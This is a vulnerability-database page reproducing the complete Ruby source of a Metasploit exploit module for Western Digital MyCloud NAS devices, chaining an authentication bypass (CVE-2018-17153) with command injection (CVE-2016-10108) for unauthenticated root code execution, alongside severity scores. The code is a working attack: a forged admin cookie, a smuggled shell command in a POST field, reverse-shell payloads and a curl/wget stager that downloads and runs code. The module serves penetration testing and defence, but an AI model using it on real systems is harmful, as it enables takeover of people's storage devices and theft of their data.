Lucene search

K
metasploitErik Wynter, Steven Campbell, Remco VermeulenMSF:EXPLOIT-LINUX-HTTP-WD_MYCLOUD_UNAUTHENTICATED_CMD_INJECTION-
HistoryJul 26, 2023 - 2:24 p.m.

Western Digital MyCloud unauthenticated command injection

2023-07-2614:24:44
Erik Wynter, Steven Campbell, Remco Vermeulen
www.rapid7.com
113
western digital mycloud
unauthenticated
command injection
cve-2018-17153
cve-2016-10108
remote code execution
authentication bypass
version 2.30.196
version 2.30.183
patch

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.846 High

EPSS

Percentile

98.5%

This module exploits authentication bypass (CVE-2018-17153) and command injection (CVE-2016-10108) vulnerabilities in Western Digital MyCloud before 2.30.196 in order to achieve unauthenticated remote code execution as the root user. The module first performs a check to see if the target is WD MyCloud. If so, it attempts to trigger an authentication bypass (CVE-2018-17153) via a crafted GET request to /cgi-bin/network_mgr.cgi. If the server responds as expected, the module assesses the vulnerability status by attempting to exploit a commend injection vulnerability (CVE-2016-10108) in order to print a random string via the echo command. This is done via a crafted POST request to /web/google_analytics.php. If the server is vulnerable, the same command injection vector is leveraged to execute the payload. This module has been successfully tested against Western Digital MyCloud version 2.30.183. Note: based on the available disclosures, it seems that the command injection vector (CVE-2016-10108) might be exploitable without the authentication bypass (CVE-2018-17153) on versions before 2.21.126. The obtained results on 2.30.183 imply that the patch for CVE-2016-10108 did not actually remove the command injection vector, but only prevented unauthenticated access to it.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Western Digital MyCloud unauthenticated command injection',
        'Description' => %q{
          This module exploits authentication bypass (CVE-2018-17153) and
          command injection (CVE-2016-10108) vulnerabilities in Western
          Digital MyCloud before 2.30.196 in order to achieve
          unauthenticated remote code execution as the root user.

          The module first performs a check to see if the target is
          WD MyCloud. If so, it attempts to trigger an authentication
          bypass (CVE-2018-17153) via a crafted GET request to
          /cgi-bin/network_mgr.cgi. If the server responds as expected,
          the module assesses the vulnerability status by attempting to
          exploit a commend injection vulnerability (CVE-2016-10108) in
          order to print a random string via the echo command. This is
          done via a crafted POST request to /web/google_analytics.php.

          If the server is vulnerable, the same command injection vector
          is leveraged to execute the payload.

          This module has been successfully tested against Western Digital
          MyCloud version 2.30.183.

          Note: based on the available disclosures, it seems that the
          command injection vector (CVE-2016-10108) might be exploitable
          without the authentication bypass (CVE-2018-17153) on versions
          before 2.21.126. The obtained results on 2.30.183 imply that
          the patch for CVE-2016-10108 did not actually remove the command
          injection vector, but only prevented unauthenticated access to it.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Erik Wynter', # @wyntererik - Metasploit
          'Steven Campbell', # CVE-2016-10108 disclosure and PoC
          'Remco Vermeulen' # CVE-2018-17153 disclosure and PoC
        ],
        'References' => [
          ['CVE', '2016-10108'], # command injection in /web/google_analytics.php via a modified arg parameter in the POST data.
          ['CVE', '2018-17153'], # authentication bypass
          ['URL', 'https://www.securify.nl/advisory/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges/'], # CVE-2018-17153 disclosure and PoC
          ['URL', 'https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/'] # CVE-2016-10108 disclosure and PoC
        ],
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Platform' => %w[linux unix],
        'Arch' => [ ARCH_ARMLE, ARCH_CMD ],
        'Targets' => [
          [
            'Unix In-Memory',
            {
              'Platform' => [ 'unix', 'linux' ],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
              'Type' => :unix_memory
            }
          ],
          [
            'Linux Dropper', {
              'Arch' => [ARCH_ARMLE],
              'Platform' => 'linux',
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
                'CMDSTAGER::FLAVOR' => :curl
              },
              'Type' => :linux_dropper
            }
          ]
        ],
        'CmdStagerFlavor' => ['curl', 'wget'],
        'Privileged' => true,
        'DisclosureDate' => '2016-12-14', # CVE-2016-10108 disclosure date
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to WD MyCloud', '/']),
    ])
  end

  def check
    # sanity check to see if the target is likely WD MyCloud
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    return CheckCode::Unknown('Connection failed.') unless res

    return CheckCode::Safe('Target is not a WD MyCloud application.') unless res.code == 200 && res.body.include?('var MODEL_ID = "WDMyCloud')

    print_status("#{rhost}:#{rport} - The target is WD MyCloud. Checking vulnerability status...")
    # try the authentication bypass (CVE-2018-17153)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'network_mgr.cgi'),
      'vars_get' => {
        'cmd' => 'cgi_get_ipv6',
        'flag' => 1 # this cannot be randomized according to the CVE-2018-17153 details
      }
    })

    return CheckCode::Unknown('Connection failed while attempting to trigger the authentication bypass.') unless res

    return CheckCode::Unknown("Received unexpected response code #{res.code} while attempting to trigger the authentication bypass.") unless res.code == 404

    # send a command to print a random string via echo. if the target is vulnerable, both the command  and the command output will be part of the response body
    echo_cmd = "echo #{Rex::Text.rand_text_alphanumeric(8..42)}"
    print_status("#{rhost}:#{rport} - Attempting to execute #{echo_cmd}...")
    res = execute_command(echo_cmd, { 'wait_for_response' => true })

    return CheckCode::Unknown('Connection failed while trying to execute the echo command to check the vulnerability status.') unless res

    return CheckCode::Vulnerable('The target executed the echo command.') if res.code == 200 && res.body.include?(echo_cmd) && res.body.include?('"success":true')

    CheckCode::Safe('The target failed to execute the echo command.')
  end

  def execute_command(cmd, opts = {})
    request_hash = {
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'web', 'google_analytics.php'),
      'cookie' => 'username=admin',
      'vars_post' => {
        'cmd' => 'set',
        'opt' => 'cloud-device-num',
        'arg' => "0|echo `#{cmd}` #"
      }
    }

    return send_request_cgi(request_hash) if opts['wait_for_response']

    # if we are trying to execute the payload, we can just yeet it at the server and return without waiting for a response
    send_request_cgi(request_hash, 0)
  end

  def exploit
    if target.arch.first == ARCH_CMD
      print_status("#{rhost}:#{rport} - Executing the payload. This may take a few seconds...")
      execute_command(payload.encoded)
    else
      execute_cmdstager(background: true)
    end
  end
end

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.846 High

EPSS

Percentile

98.5%

Related for MSF:EXPLOIT-LINUX-HTTP-WD_MYCLOUD_UNAUTHENTICATED_CMD_INJECTION-